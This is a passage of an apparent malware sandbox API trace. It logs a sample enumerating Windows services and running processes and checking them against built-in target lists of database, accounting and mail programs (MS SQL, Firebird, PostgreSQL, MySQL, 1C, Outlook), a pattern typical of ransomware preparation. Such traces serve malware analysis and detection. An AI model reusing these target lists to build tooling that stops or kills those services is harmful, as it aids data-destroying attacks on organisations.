(lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.641] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0047.641] lstrlenW (lpString="WdiSystemHost") returned 13 [0047.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0047.641] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0047.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0047.641] lstrlenW (lpString="Winmgmt") returned 7 [0047.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0047.641] lstrlenW (lpString="WPDBusEnum") returned 10 [0047.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0047.641] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0047.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a0 [0047.644] Process32FirstW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0047.644] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0047.645] lstrlenW (lpString="System") returned 6 [0047.645] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0047.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0047.645] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0047.645] lstrlenW (lpString="smss.exe") returned 8 [0047.645] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0047.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0047.645] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.646] lstrlenW (lpString="csrss.exe") returned 9 [0047.646] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0047.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0047.646] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0047.646] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0047.646] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0047.646] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0047.646] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0047.646] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0047.646] lstrlenW (lpString="wininit.exe") returned 11 [0047.646] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0047.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0047.646] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0047.646] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0047.647] lstrlenW (lpString="csrss.exe") returned 9 [0047.647] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0047.647] lstrlenW (lpString="winlogon.exe") returned 12 [0047.647] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.647] lstrlenW (lpString="services.exe") returned 12 [0047.648] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.648] lstrlenW (lpString="lsass.exe") returned 9 [0047.648] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.648] lstrlenW (lpString="lsm.exe") returned 7 [0047.648] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.649] lstrlenW (lpString="svchost.exe") returned 11 [0047.649] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.650] lstrlenW (lpString="svchost.exe") returned 11 [0047.650] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.650] lstrlenW (lpString="svchost.exe") returned 11 [0047.650] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.650] lstrlenW (lpString="svchost.exe") returned 11 [0047.650] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.651] lstrlenW (lpString="svchost.exe") returned 11 [0047.651] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.651] lstrlenW (lpString="audiodg.exe") returned 11 [0047.651] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.651] lstrlenW (lpString="svchost.exe") returned 11 [0047.651] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.652] lstrlenW (lpString="svchost.exe") returned 11 [0047.652] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.652] lstrlenW (lpString="dwm.exe") returned 7 [0047.652] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.653] lstrlenW (lpString="explorer.exe") returned 12 [0047.653] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.653] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.653] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.653] lstrlenW (lpString="taskhost.exe") returned 12 [0047.653] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.654] lstrlenW (lpString="svchost.exe") returned 11 [0047.654] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.654] lstrlenW (lpString="taskeng.exe") returned 11 [0047.654] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0047.654] lstrlenW (lpString="judges-present.exe") returned 18 [0047.654] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0047.655] lstrlenW (lpString="physics.exe") returned 11 [0047.655] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0047.655] lstrlenW (lpString="belongs.exe") returned 11 [0047.655] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0047.656] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0047.656] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0047.656] lstrlenW (lpString="gadgets.exe") returned 11 [0047.656] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0047.656] lstrlenW (lpString="geneva.exe") returned 10 [0047.656] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0047.657] lstrlenW (lpString="elephant.exe") returned 12 [0047.657] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0047.657] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0047.657] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0047.657] lstrlenW (lpString="roger-venice.exe") returned 16 [0047.658] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0047.658] lstrlenW (lpString="cite.exe") returned 8 [0047.658] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0047.658] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0047.658] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0047.659] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0047.659] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0047.659] lstrlenW (lpString="artist_selecting.exe") returned 20 [0047.659] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0047.660] lstrlenW (lpString="poems.exe") returned 9 [0047.660] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0047.661] lstrlenW (lpString="bow.exe") returned 7 [0047.661] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0047.661] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0047.661] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0047.662] lstrlenW (lpString="businesses.exe") returned 14 [0047.662] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0047.662] lstrlenW (lpString="lucky.exe") returned 9 [0047.662] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0047.662] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0047.662] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0047.663] lstrlenW (lpString="healthmanner.exe") returned 16 [0047.663] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0047.663] lstrlenW (lpString="3dftp.exe") returned 9 [0047.663] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0047.663] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0047.663] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0047.664] lstrlenW (lpString="alftp.exe") returned 9 [0047.664] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0047.664] lstrlenW (lpString="barca.exe") returned 9 [0047.664] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0047.665] lstrlenW (lpString="bitkinex.exe") returned 12 [0047.665] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0047.665] lstrlenW (lpString="coreftp.exe") returned 11 [0047.665] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0047.665] lstrlenW (lpString="far.exe") returned 7 [0047.665] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0047.666] lstrlenW (lpString="filezilla.exe") returned 13 [0047.666] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0047.666] lstrlenW (lpString="flashfxp.exe") returned 12 [0047.666] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0047.667] lstrlenW (lpString="fling.exe") returned 9 [0047.667] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0047.667] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0047.667] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0047.731] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0047.731] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0047.731] lstrlenW (lpString="icq.exe") returned 7 [0047.731] Process32NextW (in: hSnapshot=0x1a0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, 